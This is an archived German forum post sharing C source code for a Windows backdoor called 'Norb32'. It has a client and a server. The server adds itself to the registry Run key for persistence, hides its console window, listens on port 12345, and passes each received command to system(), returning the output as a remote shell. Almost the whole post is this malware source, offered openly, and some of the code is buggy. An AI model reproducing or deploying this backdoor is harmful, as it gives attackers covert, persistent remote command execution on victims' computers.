PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : W32 Backdoor Sourcecode



GODFATHER
29.11.2007, 17:03
Was ganz einfaches, nicht von mir programmiert.

Das erste ist der Client, das Zweite ist der Server.


#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>



int startWinsock(void);
int main()
{
long rc;
SOCKET s;
SOCKADDR_IN addr;
char buf[900];
char buf2[900];
char ip[20];
unsigned short port;
// Winsock crap
rc = startWinsock();

printf("This is the Client for Norb32 Server © CC_IP 2006\nTaste druecken um Client zu starten!\n");
getch();
if(rc!=0)
{
printf("Fehler: startwinsock, fehler code: %d\n",rc);
return 1;
}
else
{
printf("Winsock gestartet!\n");
}

s=socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET)
{
printf("Fehler: Der socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
return 1;
}
else
{
printf("Socket erstellt!\n\n");
}
printf("IP to connect: ");
gets(ip);
fflush(stdin);
printf("Port to connect [12345]: ");
scanf("%d",&port);
fflush(stdin);


memset(&addr,0,sizeof(SOCKADDR_IN));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
addr.sin_addr.s_addr=inet_addr(ip);

rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR));

if(rc==SOCKET_ERROR)
{
printf("Fehler: connect gescheitert, kein Server gefunden, fehler code: %d\n",WSAGetLastError());
}
else
{
printf("Verbunden mit %s:%d\n",ip,port);
}

while(rc!=SOCKET_ERROR)
{
printf("\nCommand [max 700]: ");
fflush(stdin);
gets(buf);
send(s,buf,strlen(buf),0);
rc=recv(s,buf2,900,0);
if(rc==0)
{
printf("Ungueltiger Befehl, Server shuting down!\n");
break;
}
if(rc==SOCKET_ERROR)
{
printf("Fehler: recv, fehler code: %d\n",WSAGetLastError());
break;
}
buf2[rc]='\0';
printf("\nRemoteshell says: %s ", buf2);
}
getch();
}
int startWinsock(void)
{
WSADATA wsa;
return WSAStartup(MAKEWORD(2,0),&wsa);
}

// Developed by CC_IP

// i know this clientprogramm is easily exploitable...



#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define NUM_ELEMENTS(x) (sizeof((x)) / sizeof((x)[0])) //needed for ip dedect



int startWinsock(void);
int main()
{
long rc;
SOCKET acceptSocket;
SOCKET connectedSocket;
SOCKADDR_IN addr;
char buf[256];
char buf2[300];
//runit: //dont compile
//Run programm on system startup
HKEY hkey;
HKEY KEY = HKEY_LOCAL_MACHINE;
char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
char name[100]= {"Autostart"};
char value[100]= {"C:\\Programme\\n32s.exe"};

RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
RegCloseKey(hkey);

//dedect own ip
struct hostent* h;
WSADATA wsaData;
UCHAR ucAddress[4];
CHAR szAddressInfo[64];
CHAR szHostName[MAX_PATH];

WSAStartup(MAKEWORD(1, 1), &wsaData);
if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName)))
{
if(NULL != (h = gethostbyname(szHostName)))
{
for(unsigned x = 0; (h->h_addr_list[x]); x++)
{
ucAddress[0] = h->h_addr_list[x][0];
ucAddress[1] = h->h_addr_list[x][1];
ucAddress[2] = h->h_addr_list[x][2];
ucAddress[3] = h->h_addr_list[x][3];
}
}
}
WSACleanup();


//Starting winsock
rc = startWinsock();

//hide the server
HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hwnd,SW_HIDE);

//winsock shit
printf("Norb32 Server © CC_IP 2006\n");
if(rc!=0)
{
printf("\nFehler: startwinsock, fehler code: %d\n",rc);
return 1;
}
else
{
printf("\nWinsock gestartet!\n");
}

acceptSocket=socket(AF_INET,SOCK_STREAM,0);
if(acceptSocket==INVALID_SOCKET)
{
printf("\nFehler: Der socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
return 1;
}
else
{
printf("\nSocket erstellt!\n");
}



memset(&addr,0,sizeof(SOCKADDR_IN));
addr.sin_family=AF_INET;
addr.sin_port=htons(12345);
addr.sin_addr.s_addr=inet_addr(szAddressInfo);

rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));

if(rc==SOCKET_ERROR)
{
printf("\nFehler: bind gescheitert, fehler code: %d\n",WSAGetLastError());
}
else
{
printf("\nSocket an Port 12345 gebunden\n");
}

rc=listen(acceptSocket,10);
if(rc==SOCKET_ERROR)
{
printf("\nFehler: listen, fehler code: %d",WSAGetLastError());
}
else
{
printf("\nacceptSocket ist im Listen Modus warte auf Verbindung...\n");
}

connectedSocket=accept(acceptSocket,NULL,NULL);
if(connectedSocket==INVALID_SOCKET)
{
printf("Fehler: accept, fehler code: %d\n", WSAGetLastError());
}
else
{
printf("Neue Verbindung wurde akzeptiert!\n");
}
// transfer data
while(rc!=SOCKET_ERROR)
{
rc=recv(connectedSocket,buf,256,0);
if(rc==0)
{
printf("Server hat die Verbindung getrennt..\n");
break;
}
if(rc==SOCKET_ERROR)
{
printf("Fehler: recv, fehler code: %d\n",WSAGetLastError());
break;
}
//terminate string
buf[rc+9]='\0';
//paste in file
buf[rc]='>';
buf[rc+1]='c';
buf[rc+2]=':';
buf[rc+3]='\\';
buf[rc+4]='a';
buf[rc+5]='.';
buf[rc+6]='t';
buf[rc+7]='x';
buf[rc+8]='t';
//run this on system
system(buf);




FILE * pFile;
long lSize;
char * buffer;

pFile = fopen ( "c:\\a.txt" , "rb" );
if (pFile==NULL) exit (1);

// obtain file size
fseek (pFile , 0 , SEEK_END);
lSize = ftell (pFile);
rewind (pFile);

// allocate memory to contain the whole file
buffer = (char*) malloc (lSize);
if (buffer == NULL) exit (2);

// copy the file into the buffer
fread (buffer,1,lSize,pFile);

/*** the whole file is loaded in the buffer ***/

// terminate
fclose (pFile);
free (buffer);
rc=send(connectedSocket,buffer,strlen(buffer),0);



}
//close the winsockcrap
closesocket(acceptSocket);
closesocket(connectedSocket);
}
int startWinsock(void)
{
WSADATA wsa;
//goto runit; //dont compile
return WSAStartup(MAKEWORD(2,0),&wsa);
}


// Developed by CC_IP
// i know this serverprogramm is easily exploitable...